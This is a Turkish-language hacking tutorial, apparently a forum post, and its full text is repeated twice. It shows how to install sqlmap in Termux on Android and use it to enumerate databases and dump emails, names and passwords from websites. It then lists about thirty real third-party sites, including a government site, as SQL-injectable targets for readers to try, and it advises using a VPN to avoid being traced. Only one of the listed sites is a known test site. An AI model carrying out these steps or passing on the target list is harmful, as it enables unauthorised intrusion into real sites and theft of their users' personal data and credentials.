Herkese merhaba arkadaşlar bugün sizlere android terminalden sql açıklı sitelerden bilgi toplama işlemini yapacağız
Öncelikle play store den termux uygulamamızı indirelim bu işlevimiz için çok önemli deil ama
$termux-setup-storage
Komutunu kullanarak izin verelim
Öncelikle ilk komutumuz
$apt update && apt upgrade
$pkg install python
$pkg install python2
$pkg install git
Böylelikle python u kullanabileceğiz githubdan klonlama yapabileceğiz
Şimdi ise sqlmap i klonlayalım.Klonlamak için şu kodu kullanacağız "git clone " bu githubdan araç klonlamamız için kullanılan bir kod
$git clone https://github.com/sqlmapproject/sqlmap
Aracımız inecektir..." $ " bu işaret geldiğinde aracımız inmiş olacaktır.
Şimdi indirdiğimiz aracı görüntülemek için
$ls
Komutunu giriyoruz
Ardından mavi bir yazıyla "sqlmap" yazacaktır.
Şimdide aracımızı başlatalım.
$cd sqlmap
$ls
Yeniden "$ls" yapmamızın nedeni sqlmap in içerisindekileri görmek içindir.ve karşınıza
sqlmap.py gözükecektir.Bu bizim kullanacağımız kod.Ama öncelikle izin vermemiz gerekiyor bunuda
"chmod " komutu ile yapacağız
$chmod +x *
$python2 sqlmap.py -u [site urlsi] --dbs
Ve ardından kutucuğun içerisinde bilgiler çıkacaktır bunlardan bilgi almak istediğinizi seçin
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" --tables
Users tablosu geldi genellikle kullanici adlari orada olur.
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" --columns
Burada birden fazla kutucuk gelicektir.Siteye göre değişir tabi.Orada password , email phone number
, vs bulunduğu kutucuk bizim için önemli o kutuyu kullanacağız.
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" -T "önemli olan kutucuğun adı" -C email --dump
Bu komuttan sonra emaili gösterecektir.
Şimdide isterseniz ismini ögrenelim.
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" -T "önemli olan kutucuğun adı" -C name --dump
İsmi gözükecektir
Şimdide şifresini ögrenelim
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" -T "önemli olan kutucuğun adı" -C "şifresinin o kutucukdaki adı" --dump
Ve şifresinide ögrenmiş olduk.
Evet arkadaşlar ben size sql açığı olan bir kaç site koyacağım buraya isterseniz denersiniz.
-http://www.freescience.info/books.php?id=1-
-http://www.romanianwriters.ro/book.php?id=15-
-http://www.lactonova.com/product_details.php?id=646-
-http://www.thornbridgebrewery.com/shop.php?catid=2-
-http://www.teamgear.us/store.php?id=1-
-http://www.vacationet.com/resort.php?id=1-
-http://www.slightergolf.com/products/shop.php?c=misc&id=8-
-http://www.mashailalqasr.com/eng/products.php?catid=1-
-http://www.alphaonenow.org/info.php?id=131-
-http://www.bpc.gov.bd/contactus.php?id=13-
-http://www.romanianwriters.ro/s.php?id=1-
-http://www.davidshop.com/showcat.php?id=55-
-http://www.one-thebrand.com/cart.php?id=0-
-http://www.vancouversupermoto.com/page.php?id=2-
-http://www.petsstop.com/category.php?id=31-
-http://www.davidshop.com/showcat.php?id=29-
-http://www.tunesoman.com/product.php?id=200-
-http://www.walpax.com.br/beachresorts.php?id=100-
-http://www.thornbridgebrewery.co.uk/shop.php?catid=2-
-http://www.ampak.com.tw/product.php?id=21-
-http://www.downtownwindsor.ca/news_article.php?id=10-
-http://strategiessl.qc.ca/bulletin/archive.php?id=242-
-http://www.bachmann.co.uk/details_archive.php?id=363-
-http://www.nichegardens.com/catalog/item.php?id=1235-
-http://www.bachmann.co.uk/details_archive.php?id=329-
-http://www.bild-werk-frauenau.de/en/news/archive.php?id=50-
-http://www.martyfriedman.com/info_archive.php?id=13-
-http://editions-aire.ch/details.php?id=1382-
-http://www.ruralsupport.ca/index.php?pageid=17-
-http://www.thunderjetboat.com.au/content.php?pageid=5-
-http://www.nanglerarebooks.co.uk/book.php?book-
-http://testphp.vulnweb.com/listproducts.php?cat=1-
Not : bunları yaparken vpn kullanmayı unutmayın güvenlik açısından önemli
WHOAMIMrx
Termux paylaşan neredeyse çok az
Termux kali linuxun android tabanlı uygulaması neredeyse kali linuxta yapılan herşey buradada yapılır
Öncelikle play store den termux uygulamamızı indirelim bu işlevimiz için çok önemli deil ama
$termux-setup-storage
Komutunu kullanarak izin verelim
Öncelikle ilk komutumuz
$apt update && apt upgrade
$pkg install python
$pkg install python2
$pkg install git
Böylelikle python u kullanabileceğiz githubdan klonlama yapabileceğiz
Şimdi ise sqlmap i klonlayalım.Klonlamak için şu kodu kullanacağız "git clone " bu githubdan araç klonlamamız için kullanılan bir kod
$git clone https://github.com/sqlmapproject/sqlmap
Aracımız inecektir..." $ " bu işaret geldiğinde aracımız inmiş olacaktır.
Şimdi indirdiğimiz aracı görüntülemek için
$ls
Komutunu giriyoruz
Ardından mavi bir yazıyla "sqlmap" yazacaktır.
Şimdide aracımızı başlatalım.
$cd sqlmap
$ls
Yeniden "$ls" yapmamızın nedeni sqlmap in içerisindekileri görmek içindir.ve karşınıza
sqlmap.py gözükecektir.Bu bizim kullanacağımız kod.Ama öncelikle izin vermemiz gerekiyor bunuda
"chmod " komutu ile yapacağız
$chmod +x *
$python2 sqlmap.py -u [site urlsi] --dbs
Ve ardından kutucuğun içerisinde bilgiler çıkacaktır bunlardan bilgi almak istediğinizi seçin
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" --tables
Users tablosu geldi genellikle kullanici adlari orada olur.
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" --columns
Burada birden fazla kutucuk gelicektir.Siteye göre değişir tabi.Orada password , email phone number
, vs bulunduğu kutucuk bizim için önemli o kutuyu kullanacağız.
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" -T "önemli olan kutucuğun adı" -C email --dump
Bu komuttan sonra emaili gösterecektir.
Şimdide isterseniz ismini ögrenelim.
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" -T "önemli olan kutucuğun adı" -C name --dump
İsmi gözükecektir
Şimdide şifresini ögrenelim
$python2 sqlmap.py [ URL ] -D "bilgi almak istediğiniz yer" -T "önemli olan kutucuğun adı" -C "şifresinin o kutucukdaki adı" --dump
Ve şifresinide ögrenmiş olduk.
Evet arkadaşlar ben size sql açığı olan bir kaç site koyacağım buraya isterseniz denersiniz.
-http://www.freescience.info/books.php?id=1-
-http://www.romanianwriters.ro/book.php?id=15-
-http://www.lactonova.com/product_details.php?id=646-
-http://www.thornbridgebrewery.com/shop.php?catid=2-
-http://www.teamgear.us/store.php?id=1-
-http://www.vacationet.com/resort.php?id=1-
-http://www.slightergolf.com/products/shop.php?c=misc&id=8-
-http://www.mashailalqasr.com/eng/products.php?catid=1-
-http://www.alphaonenow.org/info.php?id=131-
-http://www.bpc.gov.bd/contactus.php?id=13-
-http://www.romanianwriters.ro/s.php?id=1-
-http://www.davidshop.com/showcat.php?id=55-
-http://www.one-thebrand.com/cart.php?id=0-
-http://www.vancouversupermoto.com/page.php?id=2-
-http://www.petsstop.com/category.php?id=31-
-http://www.davidshop.com/showcat.php?id=29-
-http://www.tunesoman.com/product.php?id=200-
-http://www.walpax.com.br/beachresorts.php?id=100-
-http://www.thornbridgebrewery.co.uk/shop.php?catid=2-
-http://www.ampak.com.tw/product.php?id=21-
-http://www.downtownwindsor.ca/news_article.php?id=10-
-http://strategiessl.qc.ca/bulletin/archive.php?id=242-
-http://www.bachmann.co.uk/details_archive.php?id=363-
-http://www.nichegardens.com/catalog/item.php?id=1235-
-http://www.bachmann.co.uk/details_archive.php?id=329-
-http://www.bild-werk-frauenau.de/en/news/archive.php?id=50-
-http://www.martyfriedman.com/info_archive.php?id=13-
-http://editions-aire.ch/details.php?id=1382-
-http://www.ruralsupport.ca/index.php?pageid=17-
-http://www.thunderjetboat.com.au/content.php?pageid=5-
-http://www.nanglerarebooks.co.uk/book.php?book-
-http://testphp.vulnweb.com/listproducts.php?cat=1-
Not : bunları yaparken vpn kullanmayı unutmayın güvenlik açısından önemli
WHOAMIMrx
Termux paylaşan neredeyse çok az
Termux kali linuxun android tabanlı uygulaması neredeyse kali linuxta yapılan herşey buradada yapılır
